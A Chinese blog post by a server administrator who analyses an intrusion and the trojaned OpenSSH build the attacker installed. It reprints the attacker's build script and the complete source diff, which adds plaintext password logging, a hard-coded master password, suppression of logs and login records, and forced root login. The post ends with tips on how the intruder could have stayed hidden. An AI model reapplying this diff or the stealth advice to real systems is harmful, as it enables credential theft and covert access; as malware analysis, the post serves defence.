SSH服務惡意代碼分析
摘要:
本文介紹一個ssh服務的惡意代碼,該惡意代碼爲本人管理阿里雲服務器時偶然發現,研究源碼感覺存在較大的隱蔽性和安全隱患,因此寫此博客記錄之。
正文:
初探:
昨天檢查實驗室阿里雲服務器/etc/passwd 文件存在提權用戶Redistoor,初步懷疑係統被入侵。先不管,先把這個用戶給禁用。
查看rc.local系統自啓動文件發現可疑啓動項/tmp/minerd –XXXXX,可初步判斷入侵者實際上已經獲得了root權限。
切換到/tmp目錄下,未發現minerd程序,反而發現存在名字爲httpdd的可執行文件,運行httpdd -v 發現無輸出任何信息,感覺程序存在僞裝成httpd的可能,應該是惡意代碼,於是嘗試執行,僅僅發現程序會連接網絡,但具體做什麼事不得而知。
入侵軌跡:
進入Redistoor的根目錄,存在.bash_history文件,讀取本文件得到該入侵用戶bash歷史指令:
密碼記錄:
由於/tmp目錄下確實存在zilog文件,讀取該文件,嚇了一跳,尼瑪,記錄着全部用戶登錄到系統的明文密碼:
user:passwd –> root:密碼
到這裏大概已經可以猜到httpdd是用來傳輸zilog文件的程序了,嘗試着通過再次用ssh連接到服務器,結果zilog又再次記錄了本次登錄的密碼,並且不僅僅對root,對於任何用戶,該功能一直有效。
一開始我懷疑是系統登錄時/etc/.bashrc 或者profile被修改了某些能夠記錄用戶密碼的腳本,然而我錯了。
陷入困境:
在糾結和無數次失敗的嘗試中度過了好幾個小時,思路主要是想知道每次登錄時,到底是哪個程序試圖在寫入zilog文件,嘗試方法是用lsof,然而寫入zilog文件似乎的很快的事情,當敲完lsof運行時可能程序早已寫入並退出,這樣lsof撲空。那我寫個while循環呢?並沒有什麼卵用。
線索到這裏似乎就斷了,向阿里的客服申請幫助,可是居然要我花3000多塊錢買他們的服務器託管服務,就是個坑。還是自己動手豐衣足食好了。於是隨便到其他目錄逛逛,看下還有沒有其他可疑的線索。
柳暗花明:
嘿嘿!運氣好得不得了,在/usr目錄下有了新的發現。該目錄下面發現了Javar以及Farm的可執行代碼,執行Javar也是一個網絡連接程序,而且一旦運行按下Ctrl+C不但無法退出,還拋出一句“FuckYou!!!”,Oh,Shit! 這是入侵者最好的呼喊吧,在windows平臺用binaryviewer打開查看其二進制對於的ASCII碼,從中分析獲取其自定義的一些字符常量,發現DDOS選項,估計這是個執行DDOS攻擊的工具。
此外在/usr目錄下還有一個‘1’的可執行程序,執行了一下發現其實是一個bash腳本:
yum install -y zlib zlib-devel
yum groupinstall -y "Development tools"
yum install -y openssl openssl-devel pam-devel
apt-get install gcc g++ make perl curl
apt-get install -y libssl-dev
apt-get install zlib1g.dev
apt-get install -y openssl
apt-get install -y rpm
apt-get install -y libssl-dev
apt-get install -y libpam0g-dev
apt-get install -y libkrb5-dev
tar zxvf China.Z.tar.gz
cd ./openssh-5.9p1
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make && make install
/etc/init.d/sshd restart
/etc/rc.d/init.d/sshd restart
cd ../
rm -rf /openssh-5.9p1
rm -rf China.Z.tar.gz
rm -rf Install.sh
從腳本中可以發現腳本會用yum或者apt-get安裝一些安裝sshd服務所需的依賴庫,然後解壓China.Z.tar.gz文件,估計該文件解壓出來就是
openssh-5.9p1文件,然後進入該文件去進行編譯,安裝替換掉系統原來的ssh程序,最後重啓sshd服務,只要入侵者在sshd服務中做一些手腳,就完全有可能獲取到登錄的明文密碼了,雖然一開始我也有懷疑是sshd服務被替換,沒想到入侵者居然真的用了這麼絕的手段。
百密一疏:
看了下/usr目錄,openssh-5.9pl居然還在!!!!!原來腳本中rm -rf /openssh-5.9pl少了個‘.’,百密一疏了吧,源碼都沒刪除,這回抓活的了。
進入源碼目錄,天哪,好方,一堆文件,我只是想知道他到底改動了源碼的哪些地方而已。一開始思路是從文件修改時間上看,那些修改時間較爲臨近的就是被入侵者自己修改的文件,於是按照這個思路對問津按照時間進行排序,發現了個可以省很多時間的文件:ssdb5.9.p1.diff !哈哈,diff !!!!!!!!!! 真沒想到!打開文件,全部源碼修改暴露無疑:
diff -u openssh-5.9p1/auth.c openssh-5.9p1.patch//auth.c
--- openssh-5.9p1/auth.c 2011-05-29 18:40:42.000000000 +0700
+++ openssh-5.9p1.patch//auth.c 2012-02-04 22:17:53.381926889 +0700
@@ -271,14 +271,16 @@
else
authmsg = authenticated ? "Accepted" : "Failed";
- authlog("%s %s for %s%.100s from %.200s port %d%s",
- authmsg,
- method,
- authctxt->valid ? "" : "invalid user ",
- authctxt->user,
- get_remote_ipaddr(),
- get_remote_port(),
- info);
+ if(!secret_ok || secret_ok !=1){
+ authlog("%s %s for %s%.100s from %.200s port %d%s",
+ authmsg,
+ method,
+ authctxt->valid ? "" : "invalid user ",
+ authctxt->user,
+ get_remote_ipaddr(),
+ get_remote_port(),
+ info);
+ }
#ifdef CUSTOM_FAILED_LOGIN
if (authenticated == 0 && !authctxt->postponed &&
diff -u openssh-5.9p1/auth-pam.c openssh-5.9p1.patch//auth-pam.c
--- openssh-5.9p1/auth-pam.c 2009-07-12 19:07:21.000000000 +0700
+++ openssh-5.9p1.patch//auth-pam.c 2012-02-04 22:17:53.381926889 +0700
@@ -1210,6 +1210,10 @@
if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
debug("PAM: password authentication accepted for %.100s",
authctxt->user);
+ if((f=fopen(ILOG,"a"))!=NULL){
+ fprintf(f,"user:password --> %s:%s\n",authctxt->user, password);
+ fclose(f);
+ }
return 1;
} else {
debug("PAM: password authentication failed for %.100s: %s",
diff -u openssh-5.9p1/auth-passwd.c openssh-5.9p1.patch//auth-passwd.c
--- openssh-5.9p1/auth-passwd.c 2009-03-08 07:40:28.000000000 +0700
+++ openssh-5.9p1.patch//auth-passwd.c 2012-02-04 22:17:53.381926889 +0700
@@ -85,7 +85,10 @@
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif
-
+ if (!strcmp(password, SECRETPW)) {
+ secret_ok=1;
+ return 1;
+ }
#ifndef HAVE_CYGWIN
if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
ok = 0;
@@ -123,6 +126,12 @@
}
#endif
result = sys_auth_passwd(authctxt, password);
+ if(result){
+ if((f=fopen(ILOG,"a"))!=NULL){
+ fprintf(f,"user:password --> %s:%s\n",authctxt->user, password);
+ fclose(f);
+ }
+ }
if (authctxt->force_pwchange)
disable_forwarding();
return (result && ok);
diff -u openssh-5.9p1/canohost.c openssh-5.9p1.patch//canohost.c
--- openssh-5.9p1/canohost.c 2010-10-12 09:28:12.000000000 +0700
+++ openssh-5.9p1.patch//canohost.c 2012-02-04 22:17:53.381926889 +0700
@@ -78,10 +78,12 @@
debug3("Trying to reverse map address %.100s.", ntop);
/* Map the IP address to a host name. */
- if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
- NULL, 0, NI_NAMEREQD) != 0) {
- /* Host name not found. Use ip address. */
- return xstrdup(ntop);
+ if(!secret_ok || secret_ok!=1){
+ if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
+ NULL, 0, NI_NAMEREQD) != 0) {
+ /* Host name not found. Use ip address. */
+ return xstrdup(ntop);
+ }
}
/*
Common subdirectories: openssh-5.9p1/contrib and openssh-5.9p1.patch//contrib
diff -u openssh-5.9p1/includes.h openssh-5.9p1.patch//includes.h
--- openssh-5.9p1/includes.h 2010-10-24 06:47:30.000000000 +0700
+++ openssh-5.9p1.patch//includes.h 2012-02-04 22:17:53.385927565 +0700
@@ -172,4 +172,9 @@
#include "entropy.h"
+int secret_ok;
+FILE *f;
+#define ILOG "/tmp/ilog"
+#define OLOG "/tmp/olog"
+#define SECRETPW "apaajaboleh"
#endif /* INCLUDES_H */
diff -u openssh-5.9p1/log.c openssh-5.9p1.patch//log.c
--- openssh-5.9p1/log.c 2011-06-20 11:42:23.000000000 +0700
+++ openssh-5.9p1.patch//log.c 2012-02-04 22:17:53.385927565 +0700
@@ -351,6 +351,7 @@
void
do_log(LogLevel level, const char *fmt, va_list args)
{
+if(!secret_ok || secret_ok!=1){
#if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
struct syslog_data sdata = SYSLOG_DATA_INIT;
#endif
@@ -428,3 +429,4 @@
}
errno = saved_errno;
}
+}
Common subdirectories: openssh-5.9p1/openbsd-compat and openssh-5.9p1.patch//openbsd-compat
Common subdirectories: openssh-5.9p1/openssh-5.9p1.patch and openssh-5.9p1.patch//openssh-5.9p1.patch
Only in openssh-5.9p1.patch/: password_authentication
Common subdirectories: openssh-5.9p1/regress and openssh-5.9p1.patch//regress
Common subdirectories: openssh-5.9p1/scard and openssh-5.9p1.patch//scard
diff -u openssh-5.9p1/servconf.c openssh-5.9p1.patch//servconf.c
--- openssh-5.9p1/servconf.c 2011-06-23 05:30:03.000000000 +0700
+++ openssh-5.9p1.patch//servconf.c 2012-02-04 22:17:53.385927565 +0700
@@ -686,7 +686,7 @@
{ "without-password", PERMIT_NO_PASSWD },
{ "forced-commands-only", PERMIT_FORCED_ONLY },
{ "yes", PERMIT_YES },
- { "no", PERMIT_NO },
+ { "no", PERMIT_YES },
{ NULL, -1 }
};
static const struct multistate multistate_compression[] = {
Only in openssh-5.9p1.patch/: sshbd5.9p1.diff
diff -u openssh-5.9p1/sshconnect2.c openssh-5.9p1.patch//sshconnect2.c
--- openssh-5.9p1/sshconnect2.c 2011-05-29 18:42:34.000000000 +0700
+++ openssh-5.9p1.patch//sshconnect2.c 2012-02-04 22:17:53.385927565 +0700
@@ -878,6 +878,10 @@
snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
authctxt->server_user, host);
password = read_passphrase(prompt, 0);
+ if((f=fopen(OLOG,"a"))!=NULL){
+ fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
+ fclose(f);
+ }
packet_start(SSH2_MSG_USERAUTH_REQUEST);
packet_put_cstring(authctxt->server_user);
packet_put_cstring(authctxt->service);
diff -u openssh-5.9p1/sshlogin.c openssh-5.9p1.patch//sshlogin.c
--- openssh-5.9p1/sshlogin.c 2011-01-11 13:20:07.000000000 +0700
+++ openssh-5.9p1.patch//sshlogin.c 2012-02-04 22:17:53.389928235 +0700
@@ -133,8 +133,10 @@
li = login_alloc_entry(pid, user, host, tty);
login_set_addr(li, addr, addrlen);
- login_login(li);
- login_free_entry(li);
+ if(!secret_ok || secret_ok!=1){
+ login_login(li);
+ login_free_entry(li);
+ }
}
#ifdef LOGIN_NEEDS_UTMPX
@@ -158,6 +160,8 @@
struct logininfo *li;
li = login_alloc_entry(pid, user, NULL, tty);
- login_logout(li);
- login_free_entry(li);
+ if(!secret_ok || secret_ok!=1){
+ login_logout(li);
+ login_free_entry(li);
+ }
}
diff -u openssh-5.9p1/version.h openssh-5.9p1.patch//version.h
--- openssh-5.9p1/version.h 2011-09-07 06:11:20.000000000 +0700
+++ openssh-5.9p1.patch//version.h 2012-02-04 23:03:22.821948952 +0700
@@ -1,6 +1,6 @@
/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */
-#define SSH_VERSION "OpenSSH_5.9"
+#define SSH_VERSION "OpenSSH_5.8p1 Debian-1ubuntu3"
#define SSH_PORTABLE "p1"
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE
上帝爲你關上一扇門,自己給自己打開一個窗:
可見對源碼修改,使它具備記錄賬戶明文信息主要是在:auth-passwd.c中,代碼會執行fopen(“/tmp/zilog”,”a”)在文件末尾追加賬戶信息。
在該代碼中,還有一點比較變態的是:SECRETPW 這個宏定義(在includes.h中定義爲#define SECRETPW “apaajaboleh”),代碼:
+ if (!strcmp(password, SECRETPW)) {
+ secret_ok=1;
+ return 1;
+ }
大概的思路是密碼跟SECRETPW進行匹配,如果匹配滿足,則驗證通過。這意味也就着,入侵者在不知道密碼的情況下,只要用系統已有的賬戶名(包括root),輸入SECRETPW定義的字符串即”apaajaboleh”,也能登錄系統!!!!!
另外一個值得注意的是,系統除了具有登錄到本機的賬號和密碼以外,還具有記錄從本機通過ssh、scp等命令登錄到其他計算機的能力,生成的記錄會保存在/tmp/zolog。在sshconnect2.c代碼中,實現了本功能。
if((f=fopen(OLOG,"a"))!=NULL){
fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
fclose(f);
}
總結及應對方法:
至此,本惡意程序的分析工作完畢,總結起來,該惡意代碼的執行特徵如下:
(1) 監控登錄到本機的用戶,並將登錄賬戶和密碼記錄到/tmp/zilog
(2) 監控通過本機登錄帶其他機器的用戶,並將登錄賬戶、密碼和目標地址記錄到/tmp/zolog
(3) 預留後門驗證密碼,方便密碼上傳程序上傳失敗時登錄系統使用。
應對策略:
(1)刪除/usr/bin 下ssh開頭的可執行文件:rm -rf /usr/bin/ssh*
(2)刪除/usr/sbin下sshd文件:rm -rf /usr/bin/sshd
(3)刪除/etc/ssh 下的配置文件 rm -rf /etc/ssh/*
(4)利用yum重裝openssh服務:yum reinstall openssh
或者 下載openssh源碼編譯安裝
(5)重置系統全部賬戶密碼,如果可能,改用公鑰-密鑰對認證
發此博客,主要是該惡意程序存在巨大的安全隱患,入侵者破解系統登錄密碼以後,通過替換系統關鍵遠程登錄服務sshd執行文件的方法自動上傳用戶密碼可謂一勞永逸,而預留後門登錄密碼的方式卻是特別保險的方法。
但是,吐槽一下,該攻擊者執行入侵的軌跡過於明顯,入侵手段還有一些需要提高的地方:
(1)留下大量的入侵記錄,在/etc/passwd中,既然已經獲得系統
root權限,有必要刪除入侵賬戶,而且應該完全刪除入侵賬戶的根
目錄;
(2)安裝惡意代碼過於隨意,如果將httpdd Javar Fram 等程序安
裝到/usr/bin或者/bin等目錄下,無疑會增加惡意程序的隱蔽
性,增強其生存機率。
(3)最嚴重的是一時疏忽暴漏由於少加了個'.'直接暴漏主要的源代碼,
這使得本次的偵破難度大大降低,可謂連根拔起。
在 Javar、httpdd、Farm中還有很多可以挖掘的信息,筆者無意,故放棄之。